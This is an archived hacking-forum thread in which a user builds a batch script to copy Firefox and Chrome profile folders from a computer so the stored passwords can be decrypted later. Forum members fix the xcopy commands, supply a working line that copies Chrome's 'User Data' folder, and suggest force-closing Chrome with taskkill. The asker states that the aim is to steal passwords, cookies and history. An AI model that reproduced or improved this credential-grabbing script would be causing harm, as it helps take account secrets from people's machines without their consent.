![]() |
|
[Shell] Need help with code - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151) +---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118) +---- Thread: [Shell] Need help with code (/showthread.php?tid=4378340) |
Need help with code - nathandohnt - Aug 4, 2014 so i am putting together a program to get passwords from firefox and chrome. what the code does is copies the firefox and chromes profiles to decrypt when you get home. i can copy the firefox profile but i need help with the chrome one. what ever i try it doesnt work xcopy C:\Users\%username%\AppData\Roaming\Mozilla\Firefox %~dp0 /e xcopy C:\Users\%username%\Appdata\Local\Google\Chrome\User Data\Default %~dp0 /e theoretically it should work but its not, anyone got any ideas ?? * - SavageBoys - Aug 4, 2014 The space in "User Data"? Maybe put the path in quotes? * - nathandohnt - Aug 4, 2014 nah no good doesnt work, its so weird * - annikk.exe - Aug 5, 2014 So you've tried this? Code xcopy "C:\Users\%username%\AppData\Roaming\Mozilla\Firefox" "%~dp0" /e* - nathandohnt - Aug 5, 2014 yeah the firefox works just not the chrome also tried xcopy "C:\Users\%username%\Appdata\Local\Google\Chrome\UserData\Default" "%~dp0" /e xcopy "C:\Users\%username%\Appdata\Local\Google\Chrome\"UserData"\Default" "%~dp0" /e xcopy "C:\Users\%username%\Appdata\Local\Google\Chrome\UserData" "%~dp0" /e ect. it either copies bits of the profile or none at all * - eXaByte - Aug 5, 2014 This code works for me. Code @xcopy "%userprofile%\AppData\Local\Google\Chrome\User Data" "%~dp0User Data" /I /E /YIf you have problems try running it as administrator 🤝 * - nathandohnt - Aug 5, 2014 im not getting everything tho just tmp files i have windows 7 ultimate 64 bit if that matters * - eXaByte - Aug 5, 2014 I see what's the problem here these folder are read only and xcopy doesent work well with read only attributes so what do we have to do? We have to change them :P (Sadly we cannot change them when chrome is working because he is returning them back so either close your chome or write taskkill /f /im chrome.exe ) Any who this is the code. Code @ECHO OFF* - nathandohnt - Aug 5, 2014 of course i didnt think of that not working if chrome was running, im such an idiot. thankyou my good sir, you are a genius. now i can steal everything like passwords, cookies, history ect. and the decrypter im using for the passwords works great with the copied file. :D VIRTUAL HIGHFIVE * - eXaByte - Aug 5, 2014 (Aug 5, 2014 08:26 AM)nathandohnt Wrote: of course i didnt think of that not working if chrome was running, im such an idiot. You have to buy me a beer now :DDDDD * - nathandohnt - Aug 5, 2014 Haha I sure do mate cheers again for the help * - annikk.exe - Aug 6, 2014 Good job helping this guy Exabyte, great insight you have. :> I hope the other regulars decide to +rep you for this too. * - eXaByte - Aug 6, 2014 (Aug 6, 2014 06:25 AM)annikk.exe Wrote: Good job helping this guy Exabyte, great insight you have. :>Thanks i really look forward helping people if its in my knowledge span :D 👍 |